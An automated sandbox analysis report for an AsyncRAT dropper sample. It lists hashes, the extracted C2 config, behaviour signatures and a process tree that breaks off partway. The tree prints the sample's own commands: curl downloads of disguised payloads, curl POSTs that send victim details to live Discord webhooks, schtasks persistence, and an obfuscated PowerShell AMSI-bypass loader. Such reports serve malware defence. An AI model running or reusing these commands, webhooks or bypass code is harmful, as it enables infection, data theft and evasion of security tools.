Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-06-2024 08:16

General

  • Target

    Dropper.exe

  • Size

    12KB

  • MD5

    13eb5be5584766a9f95d058b74c01fae

  • SHA1

    859b917932b9ce6610a5eb90c315cfd4f728f200

  • SHA256

    58d82fcd47e89b187c3d6aa5ab70d5ea876968d223490ac1b3b24e4c71715292

  • SHA512

    ea1fc5c2c8b0194863b8bf68a4d432b269ac666bcd6d8dd65b1e2d5e4e1926ccc9b013e42f39f100b99ba106253d85c33d1ac6ec89d51f8023b73444fa3a5a6e

  • SSDEEP

    384:pHPELyODmB7q9bJnz6PbQGw+pfolHfhhDd4VCsw:1EmO6s9bJMbK/hhDawsw

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

environmental-blank.gl.at.ply.gg:25944

Attributes
  • delay

    1

  • install

    true

  • install_file

    $77-aachost.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 1 IoCs
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 11 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Drops file in System32 directory 18 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 12 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of UnmapMainImage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:316
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{0026e5b8-c8fa-4f8a-9960-a6c6737c9583}
          2⤵
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4844
          • C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
            "C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe"
            3⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:3120
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77-aachost" /tr '"C:\Windows\system32\config\systemprofile\AppData\Roaming\$77-aachost.exe"' & exit
              4⤵
                PID:3472
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /sc onlogon /rl highest /tn "$77-aachost" /tr '"C:\Windows\system32\config\systemprofile\AppData\Roaming\$77-aachost.exe"'
                  5⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3064
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Windows\TEMP\tmp1577.tmp.bat""
                4⤵
                • Modifies data under HKEY_USERS
                PID:2584
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  5⤵
                    PID:1408
                  • C:\Windows\system32\timeout.exe
                    timeout 3
                    5⤵
                    • Delays execution with timeout.exe
                    PID:2768
              • C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
                "C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe"
                3⤵
                • Executes dropped EXE
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                PID:1732
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77-scchost" /tr "C:\Windows\system32\config\systemprofile\AppData\Roaming\$77-scchost.exe"
                  4⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:5280
              • C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
                "C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe"
                3⤵
                • Executes dropped EXE
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:3080
          • C:\Windows\system32\lsass.exe
            C:\Windows\system32\lsass.exe
            1⤵
              PID:672
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
              1⤵
                PID:948
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                1⤵
                  PID:512
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                  1⤵
                    PID:1028
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                    1⤵
                    • Drops file in System32 directory
                    PID:1120
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                    1⤵
                      PID:1140
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                      1⤵
                      • Drops file in System32 directory
                      PID:1148
                      • C:\Windows\system32\taskhostw.exe
                        taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                        2⤵
                          PID:688
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OmdXQcsdnwbi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$EkGDlkOAxlsRxn,[Parameter(Position=1)][Type]$fqpIMSxCFo)$UbeypYZHVlz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+'l'+''+'e'+''+[Char](99)+'t'+'e'+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+'M'+[Char](101)+'m'+'o'+''+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+'te'+[Char](84)+''+'y'+''+'p'+'e',''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+''+','+''+'P'+''+'u'+''+[Char](98)+''+'l'+'i'+'c'+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$UbeypYZHVlz.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+'H'+''+'i'+''+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$EkGDlkOAxlsRxn).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+'i'+'m'+'e,'+[Char](77)+'an'+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$UbeypYZHVlz.DefineMethod(''+'I'+'n'+[Char](118)+''+'o'+''+'k'+''+[Char](101)+'','P'+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+','+'H'+''+'i'+''+'d'+'eBy'+'S'+''+[Char](105)+''+'g'+''+[Char](44)+'N'+[Char](101)+''+[Char](119)+'Sl'+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$fqpIMSxCFo,$EkGDlkOAxlsRxn).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $UbeypYZHVlz.CreateType();}$skUJbUhiwZIor=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+'i'+''+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+'f'+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+'t'+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+'s'+'');$WCiuwBFoLYrvas=$skUJbUhiwZIor.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](80)+'r'+[Char](111)+''+[Char](99)+'Add'+'r'+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags]('P'+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'S'+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$gXlSbdpGOdkAjyBtXUr=OmdXQcsdnwbi @([String])([IntPtr]);$OBHpdXWVJEUYoDIdpgMCTw=OmdXQcsdnwbi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$vjhJMSQXXsa=$skUJbUhiwZIor.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+'n'+[Char](101)+'l'+'3'+''+[Char](50)+''+[Char](46)+''+'d'+'l'+'l'+'')));$yAlUlsEQndoqHI=$WCiuwBFoLYrvas.Invoke($Null,@([Object]$vjhJMSQXXsa,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$YNIehhQdnfIJDLsGe=$WCiuwBFoLYrvas.Invoke($Null,@([Object]$vjhJMSQXXsa,[Object](''+[Char](86)+''+[Char](105)+'rtu'+[Char](97)+''+[Char](108)+''+'P'+''+'r'+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+'t'+'')));$zDIZCTy=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yAlUlsEQndoqHI,$gXlSbdpGOdkAjyBtXUr).Invoke(''+[Char](97)+''+'m'+''+'s'+'i.'+[Char](100)+''+[Char](108)+''+'l'+'');$yalsWWBvpsZfMGlcU=$WCiuwBFoLYrvas.Invoke($Null,@([Object]$zDIZCTy,[Object]('A'+'m'+''+'s'+'i'+'S'+''+'c'+''+[Char](97)+'nBu'+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$BOPgfFXvNY=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YNIehhQdnfIJDLsGe,$OBHpdXWVJEUYoDIdpgMCTw).Invoke($yalsWWBvpsZfMGlcU,[uint32]8,4,[ref]$BOPgfFXvNY);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$yalsWWBvpsZfMGlcU,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YNIehhQdnfIJDLsGe,$OBHpdXWVJEUYoDIdpgMCTw).Invoke($yalsWWBvpsZfMGlcU,[uint32]8,0x20,[ref]$BOPgfFXvNY);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+'AR'+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
                          2⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2856
                        • C:\Users\Admin\AppData\Roaming\$77-scchost.exe
                          C:\Users\Admin\AppData\Roaming\$77-scchost.exe
                          2⤵
                          • Executes dropped EXE
                          PID:5776
                        • C:\Users\Admin\AppData\Roaming\$77-scchost.exe
                          C:\Users\Admin\AppData\Roaming\$77-scchost.exe
                          2⤵
                          • Executes dropped EXE
                          PID:5124
                        • C:\Users\Admin\AppData\Roaming\$77-scchost.exe
                          C:\Users\Admin\AppData\Roaming\$77-scchost.exe
                          2⤵
                          • Executes dropped EXE
                          PID:4312
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                        1⤵
                          PID:1156
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                          1⤵
                            PID:1232
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                            1⤵
                              PID:1300
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                              1⤵
                                PID:1312
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                1⤵
                                  PID:1392
                                  • C:\Windows\system32\sihost.exe
                                    sihost.exe
                                    2⤵
                                      PID:3012
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                    1⤵
                                      PID:1396
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                      1⤵
                                        PID:1592
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                        1⤵
                                          PID:1600
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                          1⤵
                                            PID:1628
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                            1⤵
                                              PID:1716
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                              1⤵
                                                PID:1748
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                1⤵
                                                  PID:1792
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1816
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                    1⤵
                                                      PID:1908
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1916
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                        1⤵
                                                          PID:1996
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                          1⤵
                                                            PID:2012
                                                          • C:\Windows\System32\spoolsv.exe
                                                            C:\Windows\System32\spoolsv.exe
                                                            1⤵
                                                              PID:1868
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                              1⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2208
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2268
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                1⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2288
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2384
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                  1⤵
                                                                    PID:2392
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                    • Drops file in System32 directory
                                                                    PID:2440
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2488
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2508
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2544
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                          1⤵
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:2696
                                                                        • C:\Windows\system32\wbem\unsecapp.exe
                                                                          C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                          1⤵
                                                                            PID:2940
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                            1⤵
                                                                              PID:2996
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                              1⤵
                                                                                PID:3192
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                1⤵
                                                                                  PID:3352
                                                                                • C:\Windows\Explorer.EXE
                                                                                  C:\Windows\Explorer.EXE
                                                                                  1⤵
                                                                                  • Suspicious use of UnmapMainImage
                                                                                  PID:3464
                                                                                  • C:\Users\Admin\AppData\Local\Temp\Dropper.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\Dropper.exe"
                                                                                    2⤵
                                                                                    • Checks computer location settings
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:2836
                                                                                    • C:\Users\Admin\AppData\Local\Temp\Dropper.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\Dropper.exe" --restarted
                                                                                      3⤵
                                                                                      • Checks computer location settings
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:468
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c curl "https://discord.com/api/webhooks/1253986586673283103/CvnAbLIiYSc2d4NdsSOOo_z4TsnJT2JyuZLeKUKi_ejCvAa0imwn4KDGeajcvxpgCrSn" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
                                                                                        4⤵
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:1672
                                                                                        • C:\Windows\SysWOW64\curl.exe
                                                                                          curl "https://discord.com/api/webhooks/1253986586673283103/CvnAbLIiYSc2d4NdsSOOo_z4TsnJT2JyuZLeKUKi_ejCvAa0imwn4KDGeajcvxpgCrSn" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
                                                                                          5⤵
                                                                                            PID:3348
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/aachost.mp4?v=1719043456713 --output C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
                                                                                          4⤵
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:784
                                                                                          • C:\Windows\SysWOW64\curl.exe
                                                                                            curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/aachost.mp4?v=1719043456713 --output C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
                                                                                            5⤵
                                                                                              PID:4468
                                                                                          • C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe"
                                                                                            4⤵
                                                                                            • Checks computer location settings
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:1804
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77-aachost" /tr '"C:\Users\Admin\AppData\Roaming\$77-aachost.exe"' & exit
                                                                                              5⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:452
                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                schtasks /create /f /sc onlogon /rl highest /tn "$77-aachost" /tr '"C:\Users\Admin\AppData\Roaming\$77-aachost.exe"'
                                                                                                6⤵
                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                PID:3624
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF731.tmp.bat""
                                                                                              5⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:224
                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                timeout 3
                                                                                                6⤵
                                                                                                • Delays execution with timeout.exe
                                                                                                PID:2828
                                                                                              • C:\Users\Admin\AppData\Roaming\$77-aachost.exe
                                                                                                "C:\Users\Admin\AppData\Roaming\$77-aachost.exe"
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:3348
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c curl -X POST -H "Content-Type: application/json" -d "{\"content\": \"@everyone \nWe Got Em! \n```Username: Admin\nOS: Microsoft Windows NT 6.2.9200.0\nProcessors: 8\nMachine Name: PXHSTPPU\nSystem Architecture: 64-bit\nHWID: 7C01AE9F5B3A50A64BF4\nUser HWID: S-1-5-21-3665033694-1447845302-680750983-1000\nAnti-Virus: N/A\n```\"}" https://discord.com/api/webhooks/1253983339946311721/Y5y9rYlqtNDdH2oVgyGSNyOVmkPeDk-85oMk9zE0WBv2eMdGhcm9-I4QvfO9tSEJMrHl
                                                                                                  7⤵
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:2752
                                                                                                  • C:\Windows\system32\curl.exe
                                                                                                    curl -X POST -H "Content-Type: application/json" -d "{\"content\": \"@everyone \nWe Got Em! \n```Username: Admin\nOS: Microsoft Windows NT 6.2.9200.0\nProcessors: 8\nMachine Name: PXHSTPPU\nSystem Architecture: 64-bit\nHWID: 7C01AE9F5B3A50A64BF4\nUser HWID: S-1-5-21-3665033694-1447845302-680750983-1000\nAnti-Virus: N/A\n```\"}" https://discord.com/api/webhooks/1253983339946311721/Y5y9rYlqtNDdH2oVgyGSNyOVmkPeDk-85oMk9zE0WBv2eMdGhcm9-I4QvfO9tSEJMrHl
                                                                                                    8⤵
                                                                                                      PID:3632
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/sachost.mp4?v=1719043085712 --output C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
                                                                                              4⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:3432
                                                                                              • C:\Windows\SysWOW64\curl.exe
                                                                                                curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/sachost.mp4?v=1719043085712 --output C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
                                                                                                5⤵
                                                                                                  PID:464
                                                                                              • C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe"
                                                                                                4⤵
                                                                                                • Checks computer location settings
                                                                                                • Executes dropped EXE
                                                                                                • Adds Run key to start application
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:860
                                                                                                • C:\Windows\System32\schtasks.exe
                                                                                                  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77-scchost" /tr "C:\Users\Admin\AppData\Roaming\$77-scchost.exe"
                                                                                                  5⤵
                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                  PID:640
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/%2477-penisware2.mp4?v=1719043121460 --output C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
                                                                                                4⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:2928
                                                                                                • C:\Windows\SysWOW64\curl.exe
                                                                                                  curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/%2477-penisware2.mp4?v=1719043121460 --output C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
                                                                                                  5⤵
                                                                                                    PID:1064
                                                                                                • C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe"
                                                                                                  4⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                  PID:3048
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c curl https://cdn.glitch.global/42e4040c-5452-4f16-9411-098912f4fa35/Install.mp4?v=1719043283499 --output C:\Users\Admin\AppData\Local\Temp\$77-install.exe
                                                                                                  4⤵
